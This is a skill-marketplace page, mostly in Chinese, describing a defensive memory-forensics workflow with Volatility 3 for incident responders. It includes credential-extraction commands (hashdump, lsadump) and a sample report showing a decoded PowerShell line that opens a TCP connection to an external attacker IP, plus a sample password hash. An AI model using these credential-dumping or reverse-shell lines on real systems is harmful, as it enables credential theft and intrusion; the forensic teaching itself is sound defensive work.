mcpField
A
analyzing-memory-dumps-with-volatility

analyzing-memory-dumps-with-volatility

github.com/mukul975安全35.2k355 次安装8 周前更新
代码仓库

关于 analyzing-memory-dumps-with-volatility

这是一项使用 Volatility 3 检查内存转储的取证技能,面向事件响应和恶意软件分析人员。内容涵盖进程、代码注入、网络连接、凭据及时间线分析,不用于磁盘镜像取证。

主要功能

  1. 01识别转储系统与符号
  2. 02检查进程及隐藏条目
  3. 03检测代码注入
  4. 04查看网络连接
  5. 05提取内存工件和凭据
  6. 06使用 YARA 扫描并生成时间线

适用场景

  1. 01告警后调查无文件恶意软件
  2. 02检查进程注入或 Rootkit
  3. 03从内存恢复凭据和配置

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill analyzing-memory-dumps-with-volatility

安装后在 Claude Code 中输入/analyzing-memory-dumps-with-volatility确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

LICENSE
references/
api-reference.md
scripts/
agent.py

详细介绍

使用 Volatility 分析内存转储

适用场景

  • 已捕获遭入侵系统的 RAM,需要对其进行取证分析以查找恶意软件痕迹
  • 检测仅存在于内存中、没有持久化磁盘痕迹的无文件恶意软件
  • 从进程内存中提取加密密钥、密码或已解密的配置
  • 识别遭入侵系统中的进程注入、DLL 注入或进程空洞化
  • 分析标准磁盘取证工具无法发现的 Rootkit 活动

请勿用于磁盘映像分析;磁盘取证请使用 Autopsy、FTK 或 Sleuth Kit。

前提条件

  • 已安装 Volatility 3(pip install volatility3),并准备好目标操作系统的符号表
  • 已获取目标系统的内存转储文件(使用 WinPmem、LiME 或 DumpIt)
  • 了解源操作系统版本,以便正确选择配置文件或符号
  • 有足够的磁盘空间(内存转储可能为 4-64 GB)
  • 用于扫描内存中已知恶意软件特征的 YARA 规则
  • 用于从内存区域提取可读字符串的 Strings 工具

工作流

步骤 1:识别内存转储配置

根据内存转储确定操作系统及其版本:

# Volatility 3: Automatic OS detection
vol3 -f memory.dmp windows.info

# List available plugins
vol3 -f memory.dmp --help

# If symbols are needed, download from:
# https://downloads.volatilityfoundation.org/volatility3/symbols/

# For Volatility 2 (legacy):
vol2 -f memory.dmp imageinfo
vol2 -f memory.dmp kdbgscan
步骤 2:枚举运行中的进程

列出所有进程并识别可疑条目:

# List all processes
vol3 -f memory.dmp windows.pslist

# Process tree (parent-child relationships)
vol3 -f memory.dmp windows.pstree

# Scan for hidden/unlinked processes (rootkit detection)
vol3 -f memory.dmp windows.psscan

# Compare pslist vs psscan to find hidden processes
# Processes in psscan but not pslist are potentially hidden by rootkits

# Check for process hollowing
vol3 -f memory.dmp windows.pslist --dump
# Then verify the dumped EXE matches the expected binary on disk
Suspicious Process Indicators:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━
- svchost.exe not spawned by services.exe (wrong parent)
- csrss.exe/lsass.exe with unusual parent process
- Multiple instances of lsass.exe (should be only one)
- Processes with misspelled names (scvhost.exe, lssas.exe)
- cmd.exe or powershell.exe spawned by WINWORD.EXE or browser
- Processes running from unusual paths (%TEMP%, %APPDATA%)
- Processes with no parent (orphaned - parent terminated)
步骤 3:检测恶意代码注入

扫描注入的代码和进程空洞化:

# Detect injected code in processes (malfind)
vol3 -f memory.dmp windows.malfind

# Malfind looks for:
# - Memory regions with PAGE_EXECUTE_READWRITE protection
# - Memory regions containing PE headers (MZ/PE signature)
# - VAD (Virtual Address Descriptor) anomalies

# Dump injected memory regions for analysis
vol3 -f memory.dmp windows.malfind --dump --pid 2184

# List loaded DLLs per process
vol3 -f memory.dmp windows.dlllist --pid 2184

# Detect hollowed processes by comparing mapped image to disk
vol3 -f memory.dmp windows.hollowfind

# Scan for loaded drivers (potential rootkit drivers)
vol3 -f memory.dmp windows.driverscan

# List kernel modules
vol3 -f memory.dmp windows.modules
步骤 4:分析网络连接

提取活动和已关闭的网络连接:

# List all network connections (active and listening)
vol3 -f memory.dmp windows.netscan

# Output columns: Offset, Protocol, LocalAddr, LocalPort, ForeignAddr, ForeignPort, State, PID, Owner

# Filter for established connections to external IPs
vol3 -f memory.dmp windows.netscan | grep ESTABLISHED

# For older Windows (XP/2003):
vol3 -f memory.dmp windows.netstat

# Cross-reference PIDs with process list
# Suspicious: svchost.exe connected to external IP on non-standard port
# Suspicious: notepad.exe or calc.exe with network connections
步骤 5:提取痕迹和凭据

从内存中恢复敏感数据:

# Dump process memory for a specific PID
vol3 -f memory.dmp windows.memmap --dump --pid 2184

# Extract command-line history
vol3 -f memory.dmp windows.cmdline

# Extract environment variables
vol3 -f memory.dmp windows.envars --pid 2184

# Registry analysis (extract Run keys for persistence)
vol3 -f memory.dmp windows.registry.printkey \
  --key "Software\Microsoft\Windows\CurrentVersion\Run"

# Extract hashed/cached credentials
vol3 -f memory.dmp windows.hashdump
vol3 -f memory.dmp windows.cachedump
vol3 -f memory.dmp windows.lsadump

# Extract clipboard contents
vol3 -f memory.dmp windows.clipboard

# File extraction from memory
vol3 -f memory.dmp windows.filescan | grep -i "payload\|malware\|suspicious"
vol3 -f memory.dmp windows.dumpfiles --virtaddr 0xFA8001234560
步骤 6:使用 YARA 规则扫描内存

应用 YARA 特征码,在内存中检测已知恶意软件:

# Scan entire memory dump with YARA rules
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar

# Scan specific process memory
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar --pid 2184

# Built-in YARA scan for common patterns
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule FindC2 { strings: \$s1 = \"gate.php\" condition: \$s1 }"

# Scan for encryption key material
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule AES_Key { strings: \$sbox = { 63 7C 77 7B F2 6B 6F C5 } condition: \$sbox }"
步骤 7:生成时间线和报告

创建分析时间线并汇总调查结果:

# Generate comprehensive timeline
vol3 -f memory.dmp timeliner.Timeliner --output-file timeline.csv

# Timeline includes:
# - Process creation/exit times
# - Network connection timestamps
# - Registry modification times
# - File access times

# Export process list for reporting
vol3 -f memory.dmp windows.pslist --output csv > processes.csv

# Export network connections
vol3 -f memory.dmp windows.netscan --output csv > network.csv

核心概念

术语定义
内存取证分析易失性内存(RAM)内容,以识别运行中的进程、网络连接和可能不存在于磁盘上的内存痕迹
进程空洞化一种恶意软件技术:创建处于挂起状态的合法进程,用恶意代码替换其内存,然后恢复执行
MalfindVolatility 插件,通过识别非映像 VAD 中具有可执行权限且包含 PE 标头的内存区域来检测注入代码
VAD(虚拟地址描述符)Windows 内核结构,用于跟踪分配给进程的内存区域;VAD 中的异常表明存在注入或空洞化
EPROCESS表示进程的 Windows 内核结构;Rootkit 会取消 EPROCESS 条目的链接,以使进程无法被标准工具发现
池标记扫描一种内存取证技术,通过扫描内核对象池标记,即使对象(进程、文件、连接)的链接已被移除,也能找到这些对象
无文件恶意软件完全在内存中运行、不在磁盘上创建文件的恶意软件;只能通过内存取证检测

工具和系统

  • Volatility 3:开源内存取证框架,支持 Windows、Linux 和 macOS 内存分析,并采用插件架构
  • WinPmem:适用于 Windows 系统的内存获取工具,可创建用于离线分析的原始内存转储
  • LiME(Linux Memory Extractor):用于捕获 Linux 系统内存转储的可加载内核模块
  • Rekall:另一款内存取证框架,具备一些独特的分析功能(已停止维护,但仍有用)
  • MemProcFS:一种内存进程文件系统,可将内存转储挂载为文件系统,以便直观地进行分析

常见场景

场景:EDR 告警后检测无文件恶意软件

背景:EDR 检测到可疑的 PowerShell 活动,但威胁行为者清除了磁盘上的痕迹。在系统重启前捕获了内存转储。分析需要识别恶意软件、其持久化机制以及任何横向移动行为。

方法:

  1. 运行 windows.pstree,识别进程链(哪个进程启动了 PowerShell)
  2. 运行 windows.malfind,检测正在运行的进程中的注入代码
  3. 转储可疑进程的内存,并提取字符串以查找 C2 URL
  4. 运行 windows.netscan,识别受感染进程的网络连接
  5. 运行 windows.cmdline,查看 PowerShell 执行的命令
  6. 使用 YARA 规则扫描转储的进程内存,查找已知恶意软件家族
  7. 使用 hashdump 和 lsadump 提取凭据,评估横向移动风险

注意事项:

  • 为操作系统版本使用了错误的符号表(会导致插件运行失败或结果不准确)
  • 未对比 pslist 与 psscan 的输出(可能遗漏被 Rootkit 隐藏的进程)
  • 忽略被注入代码的合法进程(应关注 malfind 结果,而不只是进程名称)
  • 得出分析结论前未提取完整的进程内存(进程转储中的字符串可能会揭示其他 IOC)

输出格式

MEMORY FORENSICS ANALYSIS REPORT
===================================
Dump File:        memory.dmp
Dump Size:        16 GB
OS Version:       Windows 10 21H2 (Build 19044)
Capture Tool:     WinPmem 4.0
Capture Time:     2025-09-15 14:35:00 UTC

SUSPICIOUS PROCESSES
PID   PPID  Name              Path                                    Anomaly
2184  1052  svchost.exe       C:\Users\Admin\AppData\Temp\svchost.exe Wrong path
4012  2184  powershell.exe    C:\Windows\System32\powershell.exe      Child of fake svchost
3456  4012  cmd.exe           C:\Windows\System32\cmd.exe             Spawned by PowerShell

CODE INJECTION DETECTED (malfind)
PID 852 (explorer.exe):
  Address: 0x00400000  Size: 98304  Protection: PAGE_EXECUTE_READWRITE
  Header: MZ (embedded PE detected)
  SHA-256 of dump: abc123def456...

NETWORK CONNECTIONS
PID   Process         Local           Foreign              State
2184  svchost.exe     10.1.5.42:49152 185.220.101.42:443   ESTABLISHED
4012  powershell.exe  10.1.5.42:49200 91.215.85.17:8080    ESTABLISHED

EXTRACTED CREDENTIALS
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

COMMAND LINE HISTORY
PID 4012: powershell.exe -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0AA==
  Decoded: $client = New-Object System.Net.Sockets.TCPClient("185.220.101.42",443)

YARA MATCHES
PID 2184: rule CobaltStrike_Beacon { matched at 0x00401200 }

TIMELINE
14:10:00  svchost.exe (PID 2184) created from C:\Users\Admin\AppData\Temp\
14:10:05  Network connection to 185.220.101.42:443 established
14:12:30  powershell.exe (PID 4012) spawned by svchost.exe
14:15:00  Code injection into explorer.exe (PID 852) detected
14:20:00  Credential dump from LSASS process

评论

支持 Markdown